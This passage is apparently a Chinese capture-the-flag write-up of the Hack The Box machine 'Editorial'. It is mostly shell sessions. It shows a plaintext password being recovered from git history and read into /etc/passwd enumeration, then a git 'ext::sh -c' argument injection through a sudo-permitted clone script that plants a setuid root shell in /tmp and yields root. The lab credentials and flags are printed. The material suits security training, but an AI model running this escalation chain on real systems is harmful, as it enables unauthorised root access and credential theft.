Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'editorial.htb' (ED25519) to the list of known hosts.
dev@editorial.htb's password:
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-112-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Mon Oct 28 09:06:16 AM UTC 2024
System load: 0.01
Usage of /: 60.4% of 6.35GB
Memory usage: 12%
Swap usage: 0%
Processes: 225
Users logged in: 0
IPv4 address for eth0: 10.129.22.239
IPv6 address for eth0: dead:beef::250:56ff:feb9:f8df
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Mon Jun 10 09:11:03 2024 from 10.10.14.52
dev@editorial:~$
获得了系统立足点，确认上下文：
dev@editorial:~$ whoami
dev
dev@editorial:~$ hostname
editorial
dev@editorial:~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default
qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default
qlen 1000
link/ether 00:50:56:b9:ad:db brd ff:ff:ff:ff:ff:ff
altname enp3s0
altname ens160
inet 10.129.22.239/16 brd 10.129.255.255 scope global dynamic eth0
valid_lft 3321sec preferred_lft 3321sec
inet6 dead:beef::250:56ff:feb9:addb/64 scope global dynamic mngtmpaddr
valid_lft 86399sec preferred_lft 14399sec
inet6 fe80::250:56ff:feb9:addb/64 scope link
valid_lft forever preferred_lft forever
寻找一下 flag：
dev@editorial:~$ ls
apps user.txt
dev@editorial:~$ cat user.txt
2e54544683477fc1d6c1ece6ebc7e271
这样我们完成了立足点的获得，也拿到了 User flag。
内网侦查和提权枚举
dev@editorial:~$ sudo -l
[sudo] password for dev:
Sorry, user dev may not run sudo on editorial.
当前用户没有特权。看下用户情况：
dev@editorial:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network
Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time
Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
prod:x:1000:1000:Alirio Acosta:/home/prod:/bin/bash
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
dev:x:1001:1001::/home/dev:/bin/bash
fwupd-refresh:x:113:119:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
_laurel:x:998:998::/var/log/laurel:/bin/false
同时看下家目录情况：
dev@editorial:~$ ls /home/
dev prod
dev@editorial:~$ ls -liah /home/prod/
ls: cannot open directory '/home/prod/': Permission denied
Prod 应该也是有效用户。在查找 flag 的时候，我们看到同级目录中非常显眼的 apps：
dev@editorial:~$ ls
apps user.txt
dev@editorial:~$ cd apps
dev@editorial:~/apps$ ls -liah
total 12K
79704 drwxrwxr-x 3 dev dev 4.0K Jun 5 14:36 .
79764 drwxr-x--- 4 dev dev 4.0K Jun 5 14:36 ..
77696 drwxr-xr-x 8 dev dev 4.0K Jun 5 14:36 .git
提权到 prod
里面是. Git 文件夹，进去看一下：
dev@editorial:~/apps$ cd .git/
.git 文件夹是 Git 版本控制系统的核心目录，用于存储项目的所有版本历史记录、分支信息、配置信息以
及远程仓库的设置。它包含了提交记录、文件的哈希对象、暂存区状态等数据，确保项目的每一次更改都可
以被追踪和回滚。Git 的所有操作，例如提交、分支管理和远程推送，都是通过读取和更新 .git 文件夹中
的数据实现的。该文件夹通常由 Git 自动创建和管理，用户无需直接操作。
Git log 看一下 log：
dev@editorial:~/apps/.git$ git log
commit 8ad0f3187e2bda88bba85074635ea942974587e8 (HEAD -> master)
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date: Sun Apr 30 21:04:21 2023 -0500
fix: bugfix in api port endpoint
commit dfef9f20e57d730b7d71967582035925d57ad883
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date: Sun Apr 30 21:01:11 2023 -0500
change: remove debug and update api port
commit b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date: Sun Apr 30 20:55:08 2023 -0500
change(api): downgrading prod to dev
* To use development environment.
commit 1e84a036b2f33c59e2390730699a488c65643d28
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date: Sun Apr 30 20:51:10 2023 -0500
feat: create api to editorial info
* It (will) contains internal info about the editorial, this enable
faster access to information.
commit 3251ec9e8ffdd9b938e83e3b9fbf5fd1efa9bbb8
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date: Sun Apr 30 20:48:43 2023 -0500
feat: create editorial app
* This contains the base of this project.
* Also we add a feature to enable to external authors send us their
books and validate a future post in our editorial.
prod 就是用户最终使用的环境，所有代码的最终目标就是在生产环境中稳定运行
dev@editorial:~/apps/.git$ git show b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae
commit b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date: Sun Apr 30 20:55:08 2023 -0500
change(api): downgrading prod to dev
* To use development environment.
diff --git a/app_api/app.py b/app_api/app.py
index 61b786f..3373b14 100644
--- a/app_api/app.py
+++ b/app_api/app.py
@@ -64,7 +64,7 @@ def index():
@app.route(api_route + '/authors/message', methods=['GET'])
def api_mail_new_authors():
return jsonify({
- 'template_mail_message': "Welcome to the team! We are thrilled to have you
on board and can't wait to see the incredible content you'll bring to the
table.\n\nYour login credentials for our internal forum and authors site
are:\nUsername: prod\nPassword: 080217_Producti0n_2023!@\nPlease be sure to change
your password as soon as possible for security purposes.\n\nDon't hesitate to reach
out if you have any questions or ideas - we're always here to support you.\n\nBest
regards, " + api_editorial_name + " Team."
+ 'template_mail_message': "Welcome to the team! We are thrilled to have you
on board and can't wait to see the incredible content you'll bring to the
table.\n\nYour login credentials for our internal forum and authors site
are:\nUsername: dev\nPassword: dev080217_devAPI!@\nPlease be sure to change your
password as soon as possible for security purposes.\n\nDon't hesitate to reach out if
you have any questions or ideas - we're always here to support you.\n\nBest regards,
" + api_editorial_name + " Team."
}) # TODO: replace dev credentials when checks pass
# -------------------------------
果然，看这个信息：
{
- 'template_mail_message': "Welcome to the team! We are thrilled to have you
on board and can't wait to see the incredible content you'll bring to the
table.\n\nYour login credentials for our internal forum and authors site
are:\nUsername: prod\nPassword: 080217_Producti0n_2023!@\nPlease be sure to change
your password as soon as possible for security purposes.\n\nDon't hesitate to reach
out if you have any questions or ideas - we're always here to support you.\n\nBest
regards, " + api_editorial_name + " Team."
+ 'template_mail_message': "Welcome to the team! We are thrilled to have you
on board and can't wait to see the incredible content you'll bring to the
table.\n\nYour login credentials for our internal forum and authors site
are:\nUsername: dev\nPassword: dev080217_devAPI!@\nPlease be sure to change your
password as soon as possible for security purposes.\n\nDon't hesitate to reach out if
you have any questions or ideas - we're always here to support you.\n\nBest regards,
" + api_editorial_name + " Team."
}
分别是开发环境的凭据和生产环境的凭据，我们知道 dev 的凭据，显然现在感兴趣生产环境的：
{'template_mail_message': "Welcome to the team! We are thrilled to have you on board
and can't wait to see the incredible content you'll bring to the table.\n\nYour login
credentials for our internal forum and authors site are:\nUsername: prod\nPassword:
080217_Producti0n_2023!@\nPlease be sure to change your password as soon as possible
for security purposes.\n\nDon't hesitate to reach out if you have any questions or
ideas - we're always here to support you.\n\nBest regards, " + api_editorial_name + "
Team."}
{'template_mail_message': "Welcome to the team! We are thrilled to have you on board
and can't wait to see the incredible content you'll bring to the table.\n\nYour login
credentials for our internal forum and authors site are:\nUsername: prod\nPassword:
080217_Producti0n_2023!@\nPlease be sure to change your password as soon as possible
for security purposes.\n\nDon't hesitate to reach out if you have any questions or
ideas - we're always here to support you.\n\nBest regards, Team."}
将变量删除，键值统一为双引号：
cat b73-8ae
{"template_mail_message": "Welcome to the team! We are thrilled to have you on board
and can't wait to see the incredible content you'll bring to the table.\n\nYour login
credentials for our internal forum and authors site are:\nUsername: prod\nPassword:
080217_Producti0n_2023!@\nPlease be sure to change your password as soon as possible
for security purposes.\n\nDon't hesitate to reach out if you have any questions or
ideas - we're always here to support you.\n\nBest regards, api_editorial_name
Team."}
为便于阅读，做 json 格式化解析，其实不解析也容易看到凭据了：
cat b73-8ae | jq -r '.template_mail_message'
Welcome to the team! We are thrilled to have you on board and can't wait to see the
incredible content you'll bring to the table.
Your login credentials for our internal forum and authors site are:
Username: prod
Password: 080217_Producti0n_2023!@
Please be sure to change your password as soon as possible for security purposes.
Don't hesitate to reach out if you have any questions or ideas - we're always here to
support you.
Best regards, api_editorial_name Team.
登录 prod：
sudo ssh prod@editorial.htb
prod@editorial.htb\'s password:
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-112-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Fri Nov 1 05:19:13 PM UTC 2024
System load: 0.0
Usage of /: 60.6% of 6.35GB
Memory usage: 12%
Swap usage: 0%
Processes: 231
Users logged in: 1
IPv4 address for eth0: 10.129.22.239
IPv6 address for eth0: dead:beef::250:56ff:feb9:7a65
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your
Internet connection or proxy settings
Last login: Fri Nov 1 17:15:30 2024 from 10.10.16.4
prod@editorial:~$ whoami
prod
prod@editorial:~$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.129.22.239 netmask 255.255.0.0 broadcast 10.129.255.255
inet6 fe80::250:56ff:feb9:7a65 prefixlen 64 scopeid 0x20<link>
inet6 dead:beef::250:56ff:feb9:7a65 prefixlen 64 scopeid 0x0<global>
ether 00:50:56:b9:7a:65 txqueuelen 1000 (Ethernet)
RX packets 1872 bytes 187153 (187.1 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 1732 bytes 165498 (165.4 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 1392 bytes 98888 (98.8 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 1392 bytes 98888 (98.8 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
提权到 root
prod@editorial:~$ sudo -l
Matching Defaults entries for prod on editorial:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/
bin, use_pty
User prod may run the following commands on editorial:
(root) /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py *
第二个，就是能执行某个 python 文件
prod@editorial:~$ cat /opt/internal_apps/clone_changes/clone_prod_change.py
#!/usr/bin/python3
import os
import sys
from git import Repo
os.chdir('/opt/internal_apps/clone_changes')
url_to_clone = sys.argv[1]
r = Repo.init('', bare=True)
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c
protocol.ext.allow=always"])
看文件本身权限
prod@editorial:~$ ls -liah /opt/internal_apps/clone_changes/clone_prod_change.py
67962 -rwxr-x--- 1 root prod 256 Jun 4 11:30
/opt/internal_apps/clone_changes/clone_prod_change.py
利用：
prod@editorial:~$ sudo python3 /opt/internal_apps/clone_changes/clone_prod_change.py
'ext::sh -c touch% /tmp/redteamnotes'
Traceback (most recent call last):
File "/opt/internal_apps/clone_changes/clone_prod_change.py", line 12, in <module>
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c
protocol.ext.allow=always"])
File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1275, in
clone_from
return cls._clone(git, url, to_path, GitCmdObjectDB, progress, multi_options,
**kwargs)
File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1194, in
_clone
finalize_process(proc, stderr=stderr)
File "/usr/local/lib/python3.10/dist-packages/git/util.py", line 419, in
finalize_process
proc.wait(**kwargs)
File "/usr/local/lib/python3.10/dist-packages/git/cmd.py", line 559, in wait
raise GitCommandError(remove_password_if_present(self.args), status, errstr)
git.exc.GitCommandError: Cmd('git') failed due to: exit code(128)
cmdline: git clone -v -c protocol.ext.allow=always ext::sh -c touch%
/tmp/redteamnotes new_changes
stderr: 'Cloning into 'new_changes'...
fatal: Could not read from remote repository.
Please make sure you have the correct access rights
and the repository exists.
'
那么构建提权逻辑，正式尝试提权
prod@editorial:~$ echo -e '#!/bin/bash\n\ncp /bin/sh /tmp/redpen\nchown root:root
/tmp/redpen\nchmod 6777 /tmp/redpen' > /dev/shm/redpen.sh
prod@editorial:~$ cat /dev/shm/redpen.sh
#!/bin/bash
cp /bin/sh /tmp/redpen
chown root:root /tmp/redpen
chmod 6777 /tmp/redpen
prod@editorial:~$ chmod +x /dev/shm/redpen.sh
执行一下我们构造的提权文件：
prod@editorial:~$ ls -l /tmp/redpen
-rwsrwsrwx 1 root root 125688 Nov 1 17:41 /tmp/redpen
prod@editorial:~$ /tmp/redpen
$ whoami
prod
$ exit
没有提权，看一下 sh 文件属性：
prod@editorial:~$ ls -liah /bin/sh
4065 lrwxrwxrwx 1 root root 4 Mar 23 2022 /bin/sh -> dash
原来实际是 dash 的软链接，那就需要显示以特权模式运行了：
prod@editorial:~$ /tmp/redpen -p
# whoami
root
# uname -a
Linux editorial 5.15.0-112-generic #122-Ubuntu SMP Thu May 23 07:48:21 UTC 2024
x86_64 x86_64 x86_64 GNU/Linux
提权成功，找一下 flag：
# pwd
/home/prod
# cd /root
# pwd
/root
# ls
root.txt
# cat root.txt
5177214b83c52ed61a0ed42b00bf801c
# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default
qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default
qlen 1000
link/ether 00:50:56:b9:7a:65 brd ff:ff:ff:ff:ff:ff
altname enp3s0
altname ens160
inet 10.129.22.239/16 brd 10.129.255.255 scope global dynamic eth0
valid_lft 2524sec preferred_lft 2524sec
inet6 dead:beef::250:56ff:feb9:7a65/64 scope global dynamic mngtmpaddr
valid_lft 86398sec preferred_lft 14398sec
inet6 fe80::250:56ff:feb9:7a65/64 scope link
valid_lft forever preferred_lft forever
完成
浙公网安备 33010602011771号